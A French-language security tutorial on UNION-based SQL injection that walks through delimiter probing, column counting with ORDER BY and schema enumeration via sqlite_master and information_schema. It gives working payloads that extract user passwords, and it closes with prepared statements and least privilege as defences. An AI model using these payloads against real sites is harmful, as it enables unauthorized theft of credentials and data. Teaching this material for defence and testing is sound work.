Aller au contenu

Injection SQL UNION : extraire des données en contexte String et Numeric

Toutes les injections SQL ne visent pas un formulaire de connexion. Sur une page d’affichage (champ de recherche, filtre de catégorie, article par identifiant), l’objectif est d’extraire des données cachées de la base : mots de passe, autres tables, contenu réservé. La clause UNION sert précisément à greffer les résultats d’une requête choisie sur l’affichage légitime. Le contournement d’authentification, lui, est traité dans la fiche « Injection SQL : contourner un formulaire d’authentification ».

Deux contextes se présentent selon la façon dont l’entrée est insérée dans la requête : entre quotes (String) ou telle quelle comme nombre (Numeric).

La première action consiste à trouver le caractère qui délimite la chaîne côté serveur. On injecte, un par un :

test'
test"

Si l’un provoque une erreur SQL visible (Syntax error near...) ou fait disparaître l’affichage normal, le délimiteur est trouvé : la base a reçu une quote impaire et la syntaxe est brisée.

Une fois le délimiteur connu (admettons la quote simple), le payload doit fermer proprement la chaîne, puis neutraliser le reste de la requête d’origine pour éviter une erreur de syntaxe :

' OR 1=1 --

Le -- (avec l’espace final) commente tout ce qui suit.

UNION exige que la seconde requête ait exactement le même nombre de colonnes que la première. ORDER BY révèle ce nombre en triant sur une colonne par son index :

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 --

Tant que la page s’affiche normalement, l’index est valide. Dès qu’elle se vide ou renvoie une erreur, l’index dépasse le nombre de colonnes. Si ORDER BY 3 fonctionne mais que ORDER BY 4 échoue, la requête compte exactement 3 colonnes.

En forçant la recherche initiale à ne rien retourner (un terme improbable comme ZZZZZ), le UNION SELECT prend seul la place de l’affichage, ce qui montre quelles colonnes sont réellement rendues :

ZZZZZ' UNION SELECT 1, 2 --

Les valeurs 1 ou 2 visibles à l’écran indiquent les positions exploitables pour l’extraction.

Sous SQLite, la table système sqlite_master décrit toute la base :

-- Lister les tables
ZZZZZ' UNION SELECT 1, tbl_name FROM sqlite_master WHERE type='table' --
-- Récupérer la structure d'une table
ZZZZZ' UNION SELECT 1, sql FROM sqlite_master WHERE type='table' AND tbl_name='users' --
-- Extraire le champ visé
ZZZZZ' UNION SELECT 1, password FROM users --

Sous MySQL, c’est information_schema qui joue ce rôle :

-- Tables de la base courante
ZZZZZ' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() --
-- Colonnes d'une table
ZZZZZ' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' --
-- Concaténer pour tout lire d'un coup
ZZZZZ' UNION SELECT 1, GROUP_CONCAT(login, 0x3a, password) FROM users --

GROUP_CONCAT regroupe toutes les lignes en une seule valeur. 0x3a est le caractère : en hexadécimal, ce qui évite d’insérer une quote dans le payload.

Quand l’entrée est intégrée comme un nombre, sans délimiteur, la requête ressemble à :

SELECT title, content FROM news WHERE id = $id

Une quote provoquerait ici une erreur immédiate : il ne faut pas en ouvrir.

Puisque la valeur est numérique, on teste si le serveur évalue une opération. Si la page normale affiche l’article d’id = 2 :

3-1
1+1

Si 3-1 affiche bien l’article d’id = 2, la base a calculé l’opération avant la recherche : l’entrée est injectée brute, le contrôle est acquis.

Le reste suit la même logique qu’en String, mais toujours sans quote initiale :

2 OR 1=1
2 ORDER BY 1
2 ORDER BY 2
2 ORDER BY 3
-- id inexistant pour n'afficher que les données injectées
-1 UNION SELECT 1, 2, 3
-1 UNION SELECT 1, tbl_name, 3 FROM sqlite_master
-1 UNION SELECT 1, username, password FROM users

Un identifiant qui n’existe pas (-1, 99999) écarte les résultats légitimes pour ne laisser que les lignes du UNION.

La cause est toujours la même : une entrée concaténée dans la requête. La parade est la requête préparée, qui sépare le code SQL des données, détaillée dans la fiche sur le contournement d’authentification. Un compte de base de données au moindre privilège limite en outre ce qu’un UNION peut atteindre : sans accès à information_schema ni aux tables sensibles, l’énumération se heurte à un mur.

L’injection UNION suit une méthode stable : sonder le délimiteur, fermer et commenter, compter les colonnes à ORDER BY, puis greffer un UNION SELECT pour lire le schéma via sqlite_master ou information_schema. Le contexte Numeric applique la même démarche sans quote, en s’appuyant sur l’arithmétique pour confirmer l’injection. Dans les deux cas, seule la requête préparée ferme durablement la faille.